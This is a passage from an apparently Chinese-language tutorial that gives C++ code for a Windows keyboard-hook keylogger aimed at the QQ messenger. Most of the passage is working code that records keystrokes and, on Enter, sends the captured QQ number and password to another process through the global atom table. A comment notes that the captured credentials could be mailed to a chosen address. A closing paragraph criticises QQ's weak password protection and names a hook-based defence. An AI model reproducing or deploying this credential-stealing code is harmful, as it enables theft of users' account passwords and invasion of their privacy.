            case '9': 
               g_strKey+='('; 
               break; 
            case '0': 
               g_strKey+=')'; 
               break; 
            } 
         } 
      }else if((wParam>=0x60&&wParam<=0x69)&&((::GetKeyState(VK_NUMLOCK)&0x01)!=0))//小键盘0——9 
      { 
         ch=::MapVirtualKey(wParam,2)&0xff; 
         g_strKey+=ch; 
      }else if(wParam==0x20)//空格 
      { 
         g_strKey+=' '; 
      }else if(wParam==0xBA) 
      { 
         if(!bShift) 
            g_strKey+=';'; 
         else 
            g_strKey+=':'; 
      }else if(wParam==0xBB) 
      { 
         if(!bShift) 
            g_strKey+='='; 
         else 
            g_strKey+='+'; 
      }else if(wParam==0xBC) 
      { 
         if(!bShift) 
            g_strKey+=','; 
         else 
            g_strKey+='<'; 
      }else if(wParam==0xBD) 
      { 
         if(!bShift) 
            g_strKey+='-'; 
         else 
            g_strKey+='_'; 
      }else if(wParam==0xBE) 
      { 
         if(!bShift) 
            g_strKey+='.'; 
         else 
            g_strKey+='>'; 
      }else if(wParam==0xBF) 
      { 
         if(!bShift) 
            g_strKey+='/'; 
         else 
            g_strKey+='?'; 
      }else if(wParam==0xC0) 
      { 
         if(!bShift) 
            g_strKey+='`'; 
         else 
            g_strKey+='~'; 
      }else if(wParam==0xDB) 
      { 
         if(!bShift) 
            g_strKey+='['; 
         else 
            g_strKey+='{'; 
      }else if(wParam==0xDC) 
      { 
         if(!bShift) 
            g_strKey+='/'; 
         else 
            g_strKey+='│'; 
      }else if(wParam==0xDD) 
      { 
         if(!bShift) 
            g_strKey+=']'; 
         else 
            g_strKey+='}'; 
      }else if(wParam==0xDE) 
      { 
         if(!bShift) 
            g_strKey+=(char)0x2e; 
         else 
            g_strKey+=(char)0x22; 
      } 
      ::SendMessage(g_hWndCtlID,WM_GETTEXT,20,(LPARAM)g_strID.GetBufferSetLength(20)); 
   } 
   if((nCode==HC_ACTION)&&(lParam&0x40000000)) 
   { 
      if(wParam==0x0D)// ENTER键 
      { 
         if(g_strKey.GetLength()>0) 
         { 
            str="号码:"; 
            str+=g_strID; 
            str.ReleaseBuffer(); 
            str+="密码:"; 
            str+=g_strKey; 
            ATOM atom=::GlobalAddAtom(str.GetBuffer(0)); //使用全局原子表进行进程间通讯。
            ::PostMessage(g_hWnd,WM_GETPW,(WPARAM)atom,1); 
         } 
         else 
            ::PostMessage(g_hWnd,WM_GETPW,0,0); 
         g_strKey=""; 
      } 
   } 
   return ::CallNextHookEx(g_hhookKey,nCode,wParam,lParam); 

   最后一步了,实现进程间消息的发送。 
   在DLL的头文件中添加代码#define WM_GETPW WM_APP+1,在“QQGPS”的“CMainWnd”类中添加相应的消息处理函数,以处理WM_GETPW消息。 
LRESULT CMainWnd::GetPW(WPARAM wParam,LPARAM lParam) 

   CString str; 
   if(lParam) 
   { 
      ::GlobalGetAtomName((ATOM)wParam,str.GetBufferSetLength(80),80);//题外话,利用原子表传送数据,对于相同的字符串,原字表名字符不分大小写。 
      ::GlobalDeleteAtom((ATOM)wParam); 
      MessageBox(str);//以对话框的形式显示QQ号码及密码。若替换以函数,则可将密码发送至指定邮箱。 
   } 
   return HookStop();//卸载钩子 

   好了,正确链接头文件及库文件,运行可执行程序。打开QQ,输入号码及密码,击“ENTER”或鼠标点击“登录”。如果一切正确,就会弹出一个对话框显示QQ号码及密码。 
   作为国内用户群最为广大的实时网络通讯工具,QQ对密码的保护机制太脆弱了。当然,讯腾使用了一些防窃密机制,例如使用获取号码编辑框字符的方法就无法获取密码编辑框字符。然而,对“钩子”似乎没有做任何防备。其实,QQ只需要为自身挂接一个WH_DEBUG类型的钩子,以上方法就失效了,很可惜,讯腾没有这样做。虽然通过手机申请密码保护可从新获得被盗密码。个人隐私泄漏,也总不是件令人愉快的事。希望讯腾继续加强对密码的保护机制。